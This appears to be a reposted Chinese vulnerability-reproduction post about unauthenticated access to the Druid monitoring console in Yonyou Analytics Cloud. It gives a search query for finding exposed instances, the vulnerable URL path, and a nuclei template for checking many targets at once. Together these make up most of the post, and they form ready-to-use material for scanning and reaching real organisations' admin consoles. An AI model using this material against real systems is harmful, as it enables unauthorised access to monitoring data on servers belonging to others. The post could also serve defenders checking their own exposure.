用友分析云存在druid未授权访问漏洞

资产收集

app="用友分析云"

漏洞复现

构建url

/console/druid/index.html

批量验证脚本

nuclei脚本

id: ZH-2024-05-23-001

info:
  name: 用友分析云存在druid未授权访问漏洞
  author: god
  severity: low

http:
- method: GET
  path:
  - '{{RootURL}}/console/druid/index.html'
  headers:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Upgrade-Insecure-Requests: "1"
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
      like Gecko) Chrome/103.0.5060.134 Safari/537.36
  matchers:
    - type: status
      status:
        - 200

原文始发于微信公众号（Devil安全）：【漏洞复现】用友分析云存在druid未授权访问漏洞